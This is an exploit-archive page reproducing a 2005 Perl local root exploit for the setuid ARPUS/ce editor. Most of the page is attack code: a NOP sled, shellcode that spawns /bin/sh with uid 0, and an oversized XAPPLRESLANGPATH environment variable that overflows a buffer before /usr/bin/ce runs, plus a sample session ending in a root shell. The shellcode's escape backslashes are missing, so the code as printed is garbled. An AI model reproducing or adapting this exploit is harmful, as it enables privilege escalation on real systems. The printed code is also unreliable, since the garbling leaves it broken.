ARPUS/Ce Local Overflow Exploit (setuid) (perl)

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : ARPUS/Ce Local Overflow Exploit (setuid) (perl)
# Published : 2005-05-01
# Author : Kevin Finisterre
# Previous Title : Solaris 10.x ESRI Arcgis Local Root Format String Exploit
# Next Title : BulletProof FTP Server 2.4.0.31 Local Privilege Escalation Exploit

#!/usr/bin/perl -w
#
# Setuid ARPUS/ce exploit by KF - kf_lists[at]digitalmunition[dot]com - 4/21/05
#
# Copyright Kevin Finisterre
# kfinisterre@threat:/tmp$ ./ce_ex.pl
# sh-2.05b# id
# uid=0(root) gid=1000(kfinisterre)
# groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),1000(kfinisterre)
#

# 57 bytes long
$sc  = "x90"x512;
$sc .= "x31xd2x31xc9x31xdbx31xc0xb0xa4xcdx80";
$sc .= "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b";
$sc .= "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd";
$sc .= "x80xe8xdcxffxffxff/bin/sh";

$buf = "x90" x (4120-569);
$buf .= $sc;
$buf .= (pack("l",(0xbfffa187)) x2);

$ENV{"XAPPLRESLANGPATH"} = $buf;

exec("/usr/bin/ce"); 


# www.Syue.com [2005-05-01]